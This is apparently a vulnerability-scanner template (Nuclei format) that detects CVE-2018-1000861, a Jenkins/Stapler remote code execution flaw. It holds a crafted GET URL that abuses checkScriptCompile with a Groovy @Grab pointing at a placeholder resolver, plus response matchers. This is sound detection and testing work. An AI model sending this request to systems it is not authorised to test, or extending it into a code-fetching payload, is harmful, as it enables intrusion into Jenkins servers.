id: CVE-2018-1000861 info: name: Jenkins 2.138 Remote Command Execution author: dhiyaneshDK,pikpikcu severity: critical description: A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way. reference: - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-1000861 cwe-id: CWE-502 tags: cve,cve2018,jenkin,rce,jenkins requests: - method: GET path: - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;' matchers-condition: and matchers: - type: word words: - "package#vulntest" part: body - type: status status: - 200